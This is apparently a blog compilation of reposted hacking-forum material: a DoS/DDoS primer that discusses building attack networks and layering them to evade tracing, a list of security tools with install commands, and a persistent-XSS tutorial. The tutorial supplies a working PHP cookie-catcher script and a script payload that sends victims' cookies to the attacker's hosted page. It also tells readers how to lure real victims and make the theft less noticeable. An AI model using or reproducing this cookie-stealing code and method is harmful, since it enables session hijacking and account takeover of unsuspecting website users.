IT_Solution for Learning

With the current expansion of Internet worldwide, it became extremely necessary the creation of new forms of attacks by the hacker community, the concept of DoS (Denial of Service) and DDoS (Distributed Denial of Service) was born. This type of attack became popular by targeting entities where the availability of various services is the key to the entity's success as well as the reason for its existence, amongst those entities we can include as examples, Banks, ISP, E-commerce websites, etc.. Where every hour, minute or even second means the possible loss of huge amounts of money.

Pre-Attack and Pre-Requirements

It became, for quite a long time an unsolved puzzle for many security professionals the choice of the best time to create an attack network, pre-target-identification or post-target-identification, for sake of neutrality let's say that the best time depends on the objective to achieve, the attacker's mentality and its skills.
We can easily understand that creating a pre-target-identification attack network that is fully functional at the zero attack hour has the same impact as a post-target-identification attack network of the same size ,power and is completely functional but in reality this is not completely true. A pre-target-identification has to be idle for more time, therefore causing network nodes to become inactive either by a sysadmin covering/fixing/patching the attacker's entry point or by the implementation of more restrictive security measures.
The attack methodology used for the expansion of an attack network have been modified since the earliest *DoS attacks, what started as simple Host-by-host attack and the successive host append to the network turned into a battle of "intelligent" scripts/worms capable of doing the job by their own means without almost no human intervention on the process and with a power far more superior than the individual host attack method.
Once formed the attack network, let's look at the attacker as a pyrotechnic technician with all his fireworks ready to launch and begin the show...The countdown clock reaches zero... The attacker presses the trigger (or some pre scheduled event occurs)... The show begins... But what happens?

Post Attack Analysis

From the uninformed victim's point of view, the attack was apparently conducted by various attackers at the same time, almost like an army that marched towards a castle, the real enemy would be the army's leading person and the army itself would just be the attacker's puppets, this lack of knowledge gives the attacker some time, making the victim go through all of the painful "Back-trace" process which sometimes due to a small budget, the high adjacent cost of the analysis and depending on the dimension of the damages caused can lead to the suspension of the attack's forensics.

Protection layers

It is fairly trivial that the more protection layers exist between the attacker and the victim, more anonymous and protected the attacker's identity will be and more difficulties will the victim run across to unveil the attack source.
An elevated number of layers will, as expected, create "lag" between layers which can lead, if badly idealized, to the total of partial failure of the attack, on the other hand a small number of layers can lead to an easy detection of the attacker and therefore, large prejudice for the attacker, it is, in sum, essential to create a balance between both extremes to obtain a successful attack and effective risk distribution.

Other types of DoS

Examples of other attacks aimed at basic and essential company and individual's resources which are "un-wired" can include amongst others, electrical or telephonic cuts, extreme adverse climate conditions (bearing in mind that this attack is however not controlled by the attacker), access cuts (roads,etc..) and probably the most common used forms, the interception and/or manipulation followed by a negation of information or data transmitted via mail etc..

refrence:http://www.astalavista.com/page/articles/_/lectures/quick-introduction-to-dos-and-ddos-r25

For installation of packages for :

Ubuntu: apt-get install program name
Fedora: yum install program name
Open Suse: yum install nessus program name
Debain: apt-get install nessus program name
Gentoo: emerge -v program name
Arch Linux: pacman -S program name
Just Replace program name with the program you want to install. Again if you need any help PM me.


1. Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and both console and graphical versions are available.

2. Aircrack :
~The fastest available WEP/WPA cracking tool~
Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking. It can recover a 40 through 512-bit WEP key once enough encrypted packets have been gathered. It can also attack WPA 1 or 2 networks using advanced cryptographic methods or by brute force. The suite includes airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).

3. Nessus :
~Premier UNIX vulnerability assessment tool~
Nessus was a popular free and open source vulnerability scanner until they closed the source code in 2005 and removed the free "registered feed" version in 2008. A limited “Home Feed” is still available, though it is only licensed for home network use. Some people avoid paying by violating the “Home Feed” license, or by avoiding feeds entirely and using just the plugins included with each release. But for most users, the cost has increased from free to $1200/year. Despite this, Nessus is still the best UNIX vulnerability scanner available and among the best to run on Windows. Nessus is constantly updated, with more than 20,000 plugins. Key features include remote and local (authenticated) security checks, a client/server architecture with a GTK graphical interface, and an embedded scripting language for writing your own plugins or understanding the existing ones.


4. Snort :
~Everyone's favorite open source IDS~
This lightweight network intrusion detection and prevention system excels at traffic analysis and packet logging on IP networks. Through protocol analysis, content searching, and various pre-processors, Snort detects thousands of worms, vulnerability exploit attempts, port scans, and other suspicious behavior. Snort uses a flexible rule-based language to describe traffic that it should collect or pass, and a modular detection engine. Also check out the free Basic Analysis and Security Engine (BASE), a web interface for analyzing Snort alerts.

5.WireShark:
~Sniffing the glue that holds the Internet together~
Wireshark (known as Ethereal until a trademark dispute in Summer 2006) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Wireshark has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types. A tcpdump-like console version named tethereal is included. One word of caution is that Ethereal has suffered from dozens of remotely exploitable security holes, so stay up-to-date and be wary of running it on untrusted or hostile networks (such as security conferences).

6. John the Ripper :
~A powerful, flexible, and fast multi-platform password hash cracker~
John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. You will want to start with some wordlists, which you can find here, here, or here

**NOTE For John the Ripper the program,the name you use is john to install**
eg. apt-get install john

7. Kismet :
~A powerful wireless sniffer~
Kismet is an console (ncurses) based 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. It identifies networks by passively sniffing (as opposed to more active tools such as NetStumbler), and can even decloak hidden (non-beaconing) networks if they are in use. It can automatically detect network IP blocks by sniffing TCP, UDP, ARP, and DHCP packets, log traffic in Wireshark/TCPDump compatible format, and even plot detected networks and estimated ranges on downloaded maps. As you might expect, this tool is commonly used for wardriving. Oh, and also warwalking, warflying, and warskating.


8. Metasploit Framework :
~Hack the Planet~
Metasploit took the security world by storm when it was released in 2004. No other new tool even broke into the top 15 of this list, yet Metasploit comes in at #5, ahead of many well-loved tools that have been developed for more than a decade. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-op generators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their online exploit building demo. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality. Similar professional exploitation tools, such as Core Impact and Canvas already existed for wealthy users on all sides of the ethical spectrum. Metasploit simply brought this capability to the masses.

***You can not install Metasploit Framework, But you can read about it here**

9. Nikto :
~A more comprehensive web scanner~
Nikto is an open source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired). It uses Whisker/libwhisker for much of its underlying functionality. It is a great tool, but the value is limited by its infrequent updates. The newest and most critical vulnerabilities are often not detected.

10. Netcat :
~The network Swiss army knife~
This simple utility reads and writes data across TCP or UDP network connections. It is designed to be a reliable back-end tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need, including port binding to accept incoming connections. The original Netcat was released by Hobbit in 1995, but it hasn't been maintained despite its immense popularity. It can sometimes even be hard to find nc110.tgz. The flexibility and usefulness of this tool have prompted people to write numerous other Netcat implementations - often with modern features not found in the original. One of the most interesting is Socat, which extends Netcat to support many other socket types, SSL encryption, SOCKS proxies, and more. It even made this list on its own merits

11.THC Hydra:
~A Fast network authentication cracker which supports many different services~
When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more. Like THC Amap this release is from the fine folks at THC.

You can get THC Hydra from HERE

12. Ettercap :
In case you still thought switched LANs provide much extra security
Ettercap is a terminal-based network sniffer/interceptor/logger for ethernet LANs. It supports active and passive dissection of many protocols (even ciphered ones, like ssh and https). Data injection in an established connection and filtering on the fly is also possible, keeping the connection synchronized. Many sniffing modes were implemented to give you a powerful and complete sniffing suite. Plugins are supported. It has the ability to check whether you are in a switched LAN or not, and to use OS fingerprints (active or passive) to let you know the geometry of the LAN.

reference:hackforums.net

Hello Guys !

I am going teach you How to hack a website through XSS (Persistent Cross Site Scripting).

I wrote it because i didnt find a Nice Tut to explain XSS. I didnt added much pics as I dont want to hack an website for just a tut. But this is pretty much easy and you will learn without much difficulties.



" Something about XSS " :-


XSS is basically using java scripts in different forms to get internet details of a user’s profile of respective website. With the help of XSS we can steal the cookies of the owner of the website.
XSS is a very large concept and your success rate depends on your imagination and experience.
Like SQL Injection, keylogging are the certain things, where you follow certain steps to execute something.
Where XSS is just understanding the way we can use java scripts,
and the vulnerabilities of the website may be at the different places for executing your java scripts.


So I could say that XSS or Cross site scripting means to take advantage of web applications that takes the user input but doesn’t filter them properly. This allows an attacker to inject HTML or other codes to get some hidden information out of it. Most common information that people look with
XSS is Cookies. The cookies are used to maintain user authentication of respective website.



" XSS " :-


* Search terms :- Almost all of the websites have search boxes where you can try to search something from the website.
In the search box you can type your malicious script and check the vulnerability.



* Text Boxes :- If you see any type of text boxes in the website which will basically let you
put some query in it.

So we are trying to find a place where we can write something, which will later be shown in the same webpage.




" Types of XSS " :-



There are 2 types of XSS vulnerability.


1. Persistent Cross Site Scripting

2. Non-persistent Cross site Scripting.



Lets go for Persistent Cross Site Scripting.


" Persistent Cross Site Scripting " :-



Persistent Cross Site Scripting vulnerability would take place if the malicious code which you inject would be permanent on respective website. To understand it better. I will give u a little example.

Suppose if you found a forum which is vulnerable to XSS. Then you can make a “New Topic” or “New Thread” in the forum. Every time some user or the admin opens up that particular thread, your code would be executed which wouldn’t have been filtered due to lacks in the security of the website and user’s or admin’s cookies would be sent to you on a “cookie catcher”, which would be a .php file stored on your own website. This website could be a free hosting website.



Lets Suppose we have http://www.example.com.
Its just for Example and actually example 's website Doesnt exist ! =P




" Checking for Vulnerability " :-



Now, the very first thing we will have to see is a place where we can input some text,
and later on that should be displayed.

For example of secure sites,in Hackforums.com, we have a search bar, so in the search bar lets
put “test” and hit enter.
You will see that it will say “Sorry, but no results were returned using the query information you provided.
Please redefine your search terms and try again.”.
But you should notice here that it doesn’t say “No search results found for “test”.
So it means that it is not Echoing the word that we put into the search bar.
So there is no chance to exlpoit the search bar of Hackforums.

" Testing Java Scripts " :-



Now, since we know that the website is vulnerable to XSS.
We will try to run a small java script into the website.

script type="text/javascript" alert('test') script

So what this will do is, it will popup a little alert box saying “test” on it.
And if it does that, it means that it accepts the javascripts input as well.


Remember : you can even use -

script type="text/javascript" alert('your Name') script

It will show something like -



Once, you’re done just clikc on the "Ok" or “Preview” button at the bottom.
And in the next page you should get a popup that says “test”.




" Finding Cookies " :-


Now, since we have seen that the website IS accepting javascript inputs and executing them on the next page, lets try to do something else with the javascripts. First of all, i want you guyz to understand what are cookies and where do you find them. Type the following command into the address bar of your web browser.

javascript:alert(document.cookie)

As soon as you type that command and hit enter on the keyboard, it should make some popup which will show you your cookies of respective website. Make sure you are logged in to check your cookies. As i said before, cookies are the things which handles the sessions information and logs you in every time you visit the website.
By doing this you can see your own cookies, but it would not help an attack UNLESS, we find some way to get those cookies sent to us.


Now, lets try to find a way to get these cookies sent to us with the help of the java scripts.




" Creating Cookie Catcher " :-



Cookie catcher is a file, which you will have to upload to some of your web hosting account, and change its permission to 777 so it can grab the cookies. Copy the following code and paste it to your notepad.

[?php
$cookie = $_GET['c'];
$ip = getenv (‘REMOTE_ADDR’);
$date=date(“j F, Y, g:i a”);;
$referer=getenv (‘HTTP_REFERER’);
$fp = fopen(‘cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Referer: ‘.$referer.’


’);
fclose($fp);
header (“Location: http://www.yoursite.com”);
?]

Just a little elaboration about the script. The first statement will get the cookies.
Second statement will get the IP. Third statement will get the referer. T
he last link would send the victim to “Yoursite.com”.
To make it a little less suspecious, you can change the link to example.com,
so the victim wouldnt see anything unusual. so on. Copy the given code and put it into a notepad.
Save it as something.php. Just make sure that you change the format to “.php”.

You’ll need a free webhosting account where you can upload the file. I personally use “spam.com”, so create an account there and upload this php file. Make sure that you change its permissions to “777″.



" Testing Cookie Catcher " :-


Now, as you guyz have seen that we have been executing a little script in that page which brings
up an alert bar, lets go a little advanced. Lets try to send our own cookies to our cookie catcher.

script document.location=”link-of-your-cookie-catcher?c=” + document.cookies script

" Elaboration on the script " :-


Document.Location will change the location of the website and we have set it equals to the
link of your cookies catcher and “?c=” we’ve added because its a get statement.
“+ document.cookies” means to visit your cookie catcher with the cookies of your victim’s site
so it can record it.



Now, here is the second

Lets try if it works or not. I am going to using the script that I have shown in the
“Something” page of example.com.




Now, If you click on Ok or Preview, it will take you to yoursite.com OR whatever you have changed
the link to in the Cookie Catcher. Now, lets login back to spam.com account, and you will
notice another “cookies.html” file has been added, automatically.



Now, if you open up the new automatically uploaded file, you will notice some cookies insde that file.


Cookie: undefined
IP: MY IP
Date and Time: 3 April, 2010, 2:03 am
Referer: http://www.example.com/preview.php?incli...ect=2009&i[/color]ncident_hour_select=8&incident_min_select=30&incident_AMPM_
select=AM&policyNo=&cellNo=&preview=Preview



Note: This will look a little different from actual cookies, because when i stole these,
i wasnt logged in, so if a user is logged in, then you should get a little different from this.

Now, Get “cookie editor” addon of mozilla firefox.


" Stealing Actual Cookies " :-


Till now, we were our own victim, we were trying to steal our own cookies to make sure this works.
Now, lets try to get some actual victims. In the site, you may have to PREVIEW the post first and
then submit it. So the javascript is getting executed whenever you preview it, so we can not
submit it because the script is already executed. And may be in other sites, you can directly
submit the post, so the moment someone opens it, you will get the cookies.



Whenever you put the script in the “NAME” and something something in other fields, you click on preview,
QUICKLY, before it redirects you to the website as described in your cookie stealer,
the URL will change to something else for a moment.
Thats what you will have to copy. What i copied was this.


http://example.com/preview.php?inclinati...ew=Preview


And then , you just give this link to your victim, as soon as they click ON it, you get the cookies.

It is really useful because in other cases, you wouldn’t have to ask the victims to click on the link,
you will actually submit the report. So as soon as someone reads it you get the cookies.

refernce:hackforums.net [cyclone]

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